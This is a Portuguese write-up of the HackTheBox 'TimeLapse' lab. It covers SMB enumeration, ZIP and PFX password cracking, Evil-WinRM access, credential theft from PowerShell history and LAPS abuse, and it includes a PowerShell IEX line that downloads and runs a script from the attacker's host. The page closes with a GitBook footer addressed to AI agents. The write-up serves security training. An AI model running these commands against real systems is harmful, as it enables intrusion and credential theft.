> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # Relato do HackTheBox TimeLapse {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Quebrando arquivo protegido por senha ZIP (fcrackzip) * Quebrando e lendo arquivo .PFX (crackpkcs12) * Obtendo acesso SSL com Evil-WinRM * Vazamento de informações - Lendo o histórico do Powershell do usuário (Pivotação de Usuário) * Abusando do LAPS para obter senhas (Get-LAPSPasswords.ps1) (Escalada de Privilégio) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Configuração do arquivo /etc/hosts para resolução DNS.

## **Enumeração e exploração:** ### Identificar o nome da máquina e o domínio Usando o CrackMapExec para identificar o nome da máquina e seu domínio. ```bash crackmapexec smb 10.10.11.152 ```

### Listar arquivos compartilhados com SMB: Usando smbclient e smbmap para listar arquivos compartilhados. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Acesso à pasta compartilhada e descoberta de arquivo ZIP protegido por senha** Exploração e identificação de arquivos na pasta compartilhada, revelando um arquivo ZIP protegido. ```bash smbclient //10.10.11.152/Shares -N ```

### **Quebra da senha do arquivo ZIP com fcrackzip** Usando fcrackzip para tentar descobrir a senha do arquivo ZIP. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Extração do arquivo .PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Quebra da senha do arquivo .PFX:** #### Para quebrar a senha de um arquivo pfx, será usada a ferramenta crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Obter a chave privada e o certificado do arquivo PFX** Recuperação da chave privada

Recuperação do certificado ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **Conexão SSL com Evil-WinRM usando a chave privada e o certificado**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Obter a primeira flag** Obtendo a primeira flag, "user.txt"

## Escalada de privilégio: **Lista de usuários do DC e privilégios com net users e whoami /priv** Identificação de usuários e privilégios no controlador de domínio.

#### **Análise dos grupos de usuários e descoberta da associação do usuário "svc/ deploy" no grupo "LAPS/ Readers"**

#### **Obter a senha do usuário "svc/ deploy" lendo o histórico do PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Validação de senha com CrackMapExec** Confirmação da validade da senha obtida usando CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Login no Evil-WinRM usando as credenciais do usuário "svc/ deploy"** Conectando-se ao sistema remoto usando as credenciais do usuário "svc/ deploy" com Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Uso do Get-LAPSPasswords para extrair senhas** {% embed url="" %} #### **Baixar o script Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Execução do script e recuperação das senhas administrativas**

### **Validação da senha de administrador com CrackMapExec** Confirmação da validade da senha obtida usando CrackMapExec do Usuário Administrador. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Conexão final com Evil-WinRM usando as credenciais de administrador** Conexão final com o sistema usando credenciais administrativas via Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Flag final obtida :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.